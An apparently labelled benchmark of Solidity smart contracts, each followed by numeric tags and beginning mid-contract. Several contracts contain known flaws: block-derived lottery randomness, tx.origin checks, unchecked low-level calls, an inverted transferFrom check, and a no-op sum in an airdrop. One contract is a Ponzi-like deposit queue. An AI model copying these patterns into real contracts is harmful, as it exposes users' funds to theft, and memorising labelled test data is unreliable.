returns(uint256, uint256, uint256, uint256, uint256)
{
uint256 _phID = phID_;
return
(
_phID,
phrase_[_phID].eth,
phrase_[_phID].guGiven,
phrase_[_phID].minEthRequired,
phrase_[_phID].guPoolAllocation
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
uint256 _phID = phID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].gu,
plyr_[_pID].laff,
(plyr_[_pID].gen).add(calcUnMaskedKeyEarnings(_pID, plyr_[_pID].lrnd)).add(plyr_[_pID].genGu).add(calcUnMaskedGuEarnings(_pID)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth,
plyrPhas_[_pID][_phID].eth,
plyr_[_pID].referEth,
plyr_[_pID].withdraw
);
}
function getPlayerWithdrawal(uint256 _pID, uint256 _rID)
public
view
returns(uint256, uint256, uint256, uint256, uint256)
{
return
(
plyrRnds_[_pID][_rID].winWithdraw,
plyrRnds_[_pID][_rID].genWithdraw,
plyrRnds_[_pID][_rID].genGuWithdraw,
plyrRnds_[_pID][_rID].affWithdraw,
plyrRnds_[_pID][_rID].refundWithdraw
);
}
}
library Datasets {
struct Player {
address addr;
uint256 win;
uint256 gen;
uint256 genGu;
uint256 aff;
uint256 refund;
uint256 lrnd;
uint256 laff;
uint256 withdraw;
uint256 maskGu;
uint256 gu;
uint256 guProfit;
uint256 referEth;
uint256 lastClaimedPhID;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 keyProfit;
uint256 maskKey;
uint256 winWithdraw;
uint256 genWithdraw;
uint256 genGuWithdraw;
uint256 affWithdraw;
uint256 refundWithdraw;
}
struct Round {
uint256 plyr;
uint256 end;
bool ended;
uint256 strt;
uint256 allkeys;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 maskKey;
uint256 playCtr;
uint256 withdraw;
}
struct PlayerPhrases {
uint256 eth;
uint256 guRewarded;
}
struct Phrase {
uint256 eth;
uint256 guGiven;
uint256 mask;
uint256 minEthRequired;
uint256 guPoolAllocation;
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0 | 1,757 |
pragma solidity ^0.4.13;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal {
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract Delivery is Ownable{
using SafeMath for uint256;
uint256 public Airdropsamount;
uint256 public decimals;
Peculium public pecul;
bool public initPecul;
event AirdropOne(address airdropaddress,uint256 nbTokenSendAirdrop);
event AirdropList(address[] airdropListAddress,uint256[] listTokenSendAirdrop);
event InitializedToken(address contractToken);
function Delivery(){
Airdropsamount = 28000000;
initPecul = false;
}
function InitPeculiumAdress(address peculAdress) onlyOwner
{
pecul = Peculium(peculAdress);
decimals = pecul.decimals();
initPecul = true;
InitializedToken(peculAdress);
}
function airdropsTokens(address[] _vaddr, uint256[] _vamounts) onlyOwner Initialize NotEmpty
{
require (Airdropsamount >0);
require ( _vaddr.length == _vamounts.length );
uint256 amountToSendTotal = 0;
for (uint256 indexTest=0; indexTest<_vaddr.length; indexTest++)
{
amountToSendTotal.add(_vamounts[indexTest]);
}
require(amountToSendTotal<=Airdropsamount);
for (uint256 index=0; index<_vaddr.length; index++)
{
address toAddress = _vaddr[index];
uint256 amountTo_Send = _vamounts[index].mul(10 ** decimals);
pecul.transfer(toAddress,amountTo_Send);
AirdropOne(toAddress,amountTo_Send);
}
Airdropsamount = Airdropsamount.sub(amountToSendTotal);
AirdropList(_vaddr,_vamounts);
}
modifier NotEmpty {
require (Airdropsamount>0);
_;
}
modifier Initialize {
require (initPecul==true);
_;
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
uint256 _allowance = allowed[_from][msg.sender];
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
contract Peculium is BurnableToken,Ownable {
using SafeMath for uint256;
using SafeERC20 for ERC20Basic;
string public name = "Peculium";
string public symbol = "PCL";
uint256 public decimals = 8;
uint256 public constant MAX_SUPPLY_NBTOKEN = 20000000000*10**8;
uint256 public dateStartContract;
mapping(address => bool) public balancesCanSell;
uint256 public dateDefrost;
event FrozenFunds(address target, bool frozen);
event Defroze(address msgAdd, bool freeze);
function Peculium() {
totalSupply = MAX_SUPPLY_NBTOKEN;
balances[owner] = totalSupply;
balancesCanSell[owner] = true;
dateStartContract=now;
dateDefrost = dateStartContract + 85 days;
}
function defrostToken() public
{
require(now>dateDefrost);
balancesCanSell[msg.sender]=true;
Defroze(msg.sender,true);
}
function transfer(address _to, uint256 _value) public returns (bool)
{
require(balancesCanSell[msg.sender]);
return BasicToken.transfer(_to,_value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool)
{
require(balancesCanSell[msg.sender]);
return StandardToken.transferFrom(_from,_to,_value);
}
function freezeAccount(address target, bool canSell) onlyOwner
{
balancesCanSell[target] = canSell;
FrozenFunds(target, canSell);
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
require(_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData));
return true;
}
function getBlockTimestamp() constant returns (uint256)
{
return now;
}
function getOwnerInfos() constant returns (address ownerAddr, uint256 ownerBalance)
{
ownerAddr = owner;
ownerBalance = balanceOf(ownerAddr);
}
} | 1 | 4,191 |
pragma solidity ^0.4.24;
contract Lottery{
modifier onlyOwner()
{
require(msg.sender == owner);
_;
}
modifier notPooh(address aContract)
{
require(aContract != address(poohContract));
_;
}
modifier isOpenToPublic()
{
require(openToPublic);
_;
}
modifier onlyHuman()
{
require (msg.sender == tx.origin);
_;
}
event Deposit(
uint256 amount,
address depositer
);
event WinnerPaid(
uint256 amount,
address winner
);
POOH poohContract;
address owner;
bool openToPublic = false;
uint256 ticketNumber = 0;
uint256 winningNumber;
constructor() public
{
poohContract = POOH(0x4C29d75cc423E8Adaa3839892feb66977e295829);
openToPublic = false;
owner = msg.sender;
}
function() payable public { }
function deposit()
isOpenToPublic()
onlyHuman()
payable public
{
require(msg.value >= 1000000000000000);
address customerAddress = msg.sender;
poohContract.buy.value(msg.value)(customerAddress);
emit Deposit(msg.value, msg.sender);
if(msg.value > 1000000000000000)
{
uint extraTickets = SafeMath.div(msg.value, 1000000000000000);
ticketNumber += extraTickets;
}
if(ticketNumber >= winningNumber)
{
poohContract.exit();
payDev(owner);
payWinner(customerAddress);
poohContract.buy.value(address(this).balance)(customerAddress);
resetLottery();
}
else
{
ticketNumber++;
}
}
function myTokens() public view returns(uint256)
{
return poohContract.myTokens();
}
function myDividends() public view returns(uint256)
{
return poohContract.myDividends(true);
}
function ethBalance() public view returns (uint256)
{
return address(this).balance;
}
function openToThePublic()
onlyOwner()
public
{
openToPublic = true;
resetLottery();
}
function returnAnyERC20Token(address tokenAddress, address tokenOwner, uint tokens)
public
onlyOwner()
notPooh(tokenAddress)
returns (bool success)
{
return ERC20Interface(tokenAddress).transfer(tokenOwner, tokens);
}
function payWinner(address winner) internal
{
uint balance = SafeMath.sub(address(this).balance, 50000000000000000);
winner.transfer(balance);
emit WinnerPaid(balance, winner);
}
function payDev(address dev) internal
{
uint balance = SafeMath.div(address(this).balance, 10);
dev.transfer(balance);
}
function resetLottery() internal
isOpenToPublic()
{
ticketNumber = 1;
winningNumber = uint256(keccak256(block.timestamp, block.difficulty))%300;
}
}
contract ERC20Interface
{
function transfer(address to, uint256 tokens) public returns (bool success);
}
contract POOH
{
function buy(address) public payable returns(uint256);
function exit() public;
function myTokens() public view returns(uint256);
function myDividends(bool) public view returns(uint256);
}
library SafeMath {
function div(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
} | 0 | 563 |
pragma solidity ^0.4.25;
interface HourglassInterface {
function() payable external;
function buy(address _investorAddress) payable external returns(uint256);
function reinvest() external;
function exit() payable external;
function withdraw() payable external;
function sell(uint256 _amountOfTokens) external;
function transfer(address _toAddress, uint256 _amountOfTokens) external returns(bool);
function totalEthereumBalance() external;
function totalSupply() external;
function myTokens() external returns(uint256);
function myDividends(bool _includeReferralBonus) external returns (uint256);
function balanceOf(address _investorAddress) external returns (uint256);
function dividendsOf(address _investorAddress) external returns (uint256);
function sellPrice() payable external returns (uint256);
function buyPrice() external;
function calculateTokensReceived(uint256 _ethereumToSpend) external;
function calculateEthereumReceived(uint256 _tokensToSell) external returns(uint256);
function purchaseTokens(uint256 _incomingEthereum, address _referredBy) external;
}
contract FastEth {
using SafeMath
for uint;
address constant _parojectMarketing = 0xaC780d067c52227ac7563FBe975eD9A8F235eb35;
address constant _wmtContractAddress = 0xB487283470C54d28Ed97453E8778d4250BA0F7d4;
HourglassInterface constant WMTContract = HourglassInterface(_wmtContractAddress);
uint constant _masterTaxOnInvestment = 10;
address constant private PROMO1 = 0xaC780d067c52227ac7563FBe975eD9A8F235eb35;
address constant private PROMO2 = 0x6dBFFf54E23Cf6DB1F72211e0683a5C6144E8F03;
address constant private PRIZE = 0xeE9B823ef62FfB79aFf2C861eDe7d632bbB5B653;
uint constant public PERCENT = 5;
uint constant public BONUS_PERCENT = 3;
uint constant StartEpoc = 1541541570;
struct Deposit {
address depositor;
uint deposit;
uint payout;
}
Deposit[] public queue;
mapping (address => uint) public depositNumber;
uint public currentReceiverIndex;
uint public totalInvested;
function () public payable {
require(now >= StartEpoc);
if(msg.value > 0){
require(gasleft() >= 250000);
require(msg.value >= 0.05 ether && msg.value <= 10 ether);
queue.push( Deposit(msg.sender, msg.value, 0) );
depositNumber[msg.sender] = queue.length;
totalInvested += msg.value;
uint promo1 = msg.value*PERCENT/100;
PROMO1.transfer(promo1);
uint promo2 = msg.value*PERCENT/100;
PROMO2.transfer(promo2);
startDivDistribution();
uint prize = msg.value*BONUS_PERCENT/100;
PRIZE.transfer(prize);
pay();
}
}
function pay() internal {
uint money = address(this).balance;
uint multiplier = 118;
for (uint i = 0; i < queue.length; i++){
uint idx = currentReceiverIndex + i;
Deposit storage dep = queue[idx];
uint totalPayout = dep.deposit * multiplier / 100;
uint leftPayout;
if (totalPayout > dep.payout) {
leftPayout = totalPayout - dep.payout;
}
if (money >= leftPayout) {
if (leftPayout > 0) {
dep.depositor.transfer(leftPayout);
money -= leftPayout;
}
depositNumber[dep.depositor] = 0;
delete queue[idx];
} else{
dep.depositor.transfer(money);
dep.payout += money;
break;
}
if (gasleft() <= 55000) {
break;
}
}
currentReceiverIndex += i;
}
function startDivDistribution() internal{
WMTContract.buy.value(msg.value.mul(_masterTaxOnInvestment).div(100))(_parojectMarketing);
uint _wmtBalance = getFundWMTBalance();
WMTContract.sell(_wmtBalance);
WMTContract.reinvest();
}
function getFundWMTBalance() internal returns (uint256){
return WMTContract.myTokens();
}
function getDepositsCount(address depositor) public view returns (uint) {
uint c = 0;
for(uint i=currentReceiverIndex; i<queue.length; ++i){
if(queue[i].depositor == depositor)
c++;
}
return c;
}
function getQueueLength() public view returns (uint) {
return queue.length - currentReceiverIndex;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
} | 1 | 2,790 |
pragma solidity ^0.4.18;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal {
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (address => uint64) internal roots;
mapping (bytes32 => uint64) internal chains;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function getFreezingSummaryOf(address _addr) public constant returns (uint tokenAmount, uint freezingCount) {
uint count;
uint total;
uint64 release = roots[_addr];
while (release != 0) {
count ++;
total += balanceOf(address(keccak256(toKey(_addr, release))));
release = chains[toKey(_addr, release)];
}
return (total, count);
}
function getFreezing(address _addr, uint _index) public constant returns (uint64 _release, uint _balance) {
uint64 release = roots[_addr];
for (uint i = 0; i < _index; i ++) {
release = chains[toKey(_addr, release)];
}
return (release, balanceOf(address(keccak256(toKey(_addr, release)))));
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
bytes32 currentKey = toKey(_to, _until);
transfer(address(keccak256(currentKey)), _amount);
freeze(_to, _until);
Freezed(_to, _until, _amount);
}
function releaseOnce() public {
uint64 head = roots[msg.sender];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
address currentAddress = address(keccak256(currentKey));
uint amount = balances[currentAddress];
delete balances[currentAddress];
balances[msg.sender] += amount;
if (next == 0) {
delete roots[msg.sender];
}
else {
roots[msg.sender] = next;
}
Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal constant returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
uint64 head = roots[_to];
if (head == 0) {
roots[_to] = _until;
return;
}
bytes32 headKey = toKey(_to, head);
uint parent;
bytes32 parentKey;
while (head != 0 && _until > head) {
parent = head;
parentKey = headKey;
head = chains[headKey];
headKey = toKey(_to, head);
}
if (_until == head) {
return;
}
if (head != 0) {
chains[toKey(_to, _until)] = head;
}
if (parent == 0) {
roots[_to] = _until;
}
else {
chains[parentKey] = _until;
}
}
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract TokenTimelock {
using SafeERC20 for ERC20Basic;
ERC20Basic public token;
address public beneficiary;
uint64 public releaseTime;
function TokenTimelock(ERC20Basic _token, address _beneficiary, uint64 _releaseTime) public {
require(_releaseTime > now);
token = _token;
beneficiary = _beneficiary;
releaseTime = _releaseTime;
}
function release() public {
require(now >= releaseTime);
uint256 amount = token.balanceOf(this);
require(amount > 0);
token.safeTransfer(beneficiary, amount);
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner {
bytes32 currentKey = toKey(_to, _until);
mint(address(keccak256(currentKey)), _amount);
freeze(_to, _until);
Freezed(_to, _until, _amount);
}
}
contract usingConsts {
uint constant TOKEN_DECIMALS = 18;
uint8 constant TOKEN_DECIMALS_UINT8 = 18;
uint constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string constant TOKEN_NAME = "PandroytyToken";
string constant TOKEN_SYMBOL = "PDRY";
bool constant PAUSED = true;
address constant TARGET_USER = 0x8f302c391b2b6fd064ae8257d09a13d9fedde207;
uint constant START_TIME = 1520730000;
bool constant CONTINUE_MINTING = true;
}
contract MainToken is usingConsts, FreezableMintableToken, BurnableToken, Pausable {
function MainToken() {
}
function name() constant public returns (string _name) {
return TOKEN_NAME;
}
function symbol() constant public returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() constant public returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
} | 0 | 863 |
pragma solidity ^0.4.10;
contract ForeignToken {
function balanceOf(address _owner) constant returns (uint256);
function transfer(address _to, uint256 _value) returns (bool);
}
contract XmanToken {
address owner = msg.sender;
bool public purchasingAllowed = false;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalContribution = 0;
uint256 public totalBonusTokensIssued = 0;
uint256 public totalSupply = 0;
function name() constant returns (string) { return "XmanToken"; }
function symbol() constant returns (string) { return "UET"; }
function decimals() constant returns (uint8) { return 18; }
function balanceOf(address _owner) constant returns (uint256) { return balances[_owner]; }
function transfer(address _to, uint256 _value) returns (bool success) {
if(msg.data.length < (2 * 32) + 4) { throw; }
if (_value == 0) { return false; }
uint256 fromBalance = balances[msg.sender];
bool sufficientFunds = fromBalance >= _value;
bool overflowed = balances[_to] + _value < balances[_to];
if (sufficientFunds && !overflowed) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if(msg.data.length < (3 * 32) + 4) { throw; }
if (_value == 0) { return false; }
uint256 fromBalance = balances[_from];
uint256 allowance = allowed[_from][msg.sender];
bool sufficientFunds = fromBalance <= _value;
bool sufficientAllowance = allowance <= _value;
bool overflowed = balances[_to] + _value > balances[_to];
if (sufficientFunds && sufficientAllowance && !overflowed) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function approve(address _spender, uint256 _value) returns (bool success) {
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256) {
return allowed[_owner][_spender];
}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function enablePurchasing() {
if (msg.sender != owner) { throw; }
purchasingAllowed = true;
}
function disablePurchasing() {
if (msg.sender != owner) { throw; }
purchasingAllowed = false;
}
function withdrawForeignTokens(address _tokenContract) returns (bool) {
if (msg.sender != owner) { throw; }
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
function getStats() constant returns (uint256, uint256, uint256, bool) {
return (totalContribution, totalSupply, totalBonusTokensIssued, purchasingAllowed);
}
function() payable {
if (!purchasingAllowed) { throw; }
if (msg.value == 0) { return; }
owner.transfer(msg.value);
totalContribution += msg.value;
uint256 tokensIssued = (msg.value * 100);
if (msg.value >= 10 finney) {
tokensIssued += totalContribution;
bytes20 bonusHash = ripemd160(block.coinbase, block.number, block.timestamp);
if (bonusHash[0] == 0) {
uint8 bonusMultiplier =
((bonusHash[1] & 0x01 != 0) ? 1 : 0) + ((bonusHash[1] & 0x02 != 0) ? 1 : 0) +
((bonusHash[1] & 0x04 != 0) ? 1 : 0) + ((bonusHash[1] & 0x08 != 0) ? 1 : 0) +
((bonusHash[1] & 0x10 != 0) ? 1 : 0) + ((bonusHash[1] & 0x20 != 0) ? 1 : 0) +
((bonusHash[1] & 0x40 != 0) ? 1 : 0) + ((bonusHash[1] & 0x80 != 0) ? 1 : 0);
uint256 bonusTokensIssued = (msg.value * 100) * bonusMultiplier;
tokensIssued += bonusTokensIssued;
totalBonusTokensIssued += bonusTokensIssued;
}
}
totalSupply += tokensIssued;
balances[msg.sender] += tokensIssued;
Transfer(address(this), msg.sender, tokensIssued);
}
} | 0 | 1,484 |
pragma solidity ^0.4.24;
contract DAO {
function balanceOf(address addr) public returns (uint);
}
interface RegisterInterface {
function register(string);
}
contract Auth {
address public owner;
constructor () public {
owner = msg.sender;
}
modifier auth {
require(isAuthorized(msg.sender) == true);
_;
}
function isAuthorized(address src) internal view returns (bool) {
if(src == owner){
return true;
} else {
return false;
}
}
}
contract TokenTimelock is Auth{
constructor() public {
benificiary = msg.sender;
}
uint constant public days_of_month = 30;
uint[] public dateArray;
uint public release_percent = 0;
mapping (uint => bool) public release_map;
uint256 public totalFutureRelease = 0;
address constant public contract_addr = 0x589891a198195061cb8ad1a75357a3b7dbadd7bc;
address public benificiary;
uint public startTime;
bool public lockStart = false;
function set_total(uint256 total) auth public {
require(lockStart == false);
totalFutureRelease = total;
}
function set_lock_info(int startMonth,int periods,int percent,int gap) auth public {
require(lockStart == false);
require(startMonth > 0);
require(periods > 0);
require(percent > 0);
require(gap > 0);
require(periods * percent == 100);
release_percent = uint(percent);
uint tmp = uint(startMonth);
delete dateArray;
for (int i = 0; i < periods; i++) {
dateArray.push(tmp * days_of_month);
tmp += uint(gap);
}
}
function lock(int offsetMinutes) auth public returns(bool) {
require(lockStart == false);
require(offsetMinutes >= 0);
for(uint i = 0; i < dateArray.length; i++) {
require(dateArray[i] != 0);
}
require(release_percent != 0);
require(totalFutureRelease != 0);
DAO cosTokenApi = DAO(contract_addr);
uint256 balance = cosTokenApi.balanceOf(address(this));
require(balance == totalFutureRelease);
startTime = block.timestamp + uint(offsetMinutes) * 1 minutes;
lockStart = true;
}
function set_benificiary(address b) auth public {
benificiary = b;
}
function release_specific(uint i) private {
if (release_map[i] == true) {
emit mapCheck(true,i);
return;
}
emit mapCheck(false,i);
DAO cosTokenApi = DAO(contract_addr);
uint256 balance = cosTokenApi.balanceOf(address(this));
uint256 eachRelease = 0;
eachRelease = (totalFutureRelease / 100) * release_percent;
bool ok = balance >= eachRelease;
emit balanceCheck(ok,balance);
require(balance >= eachRelease);
bool success = contract_addr.call(bytes4(keccak256("transfer(address,uint256)")),benificiary,eachRelease);
emit tokenTransfer(success);
require(success);
release_map[i] = true;
}
event mapCheck(bool ok,uint window);
event balanceCheck(bool ok,uint256 balance);
event tokenTransfer(bool success);
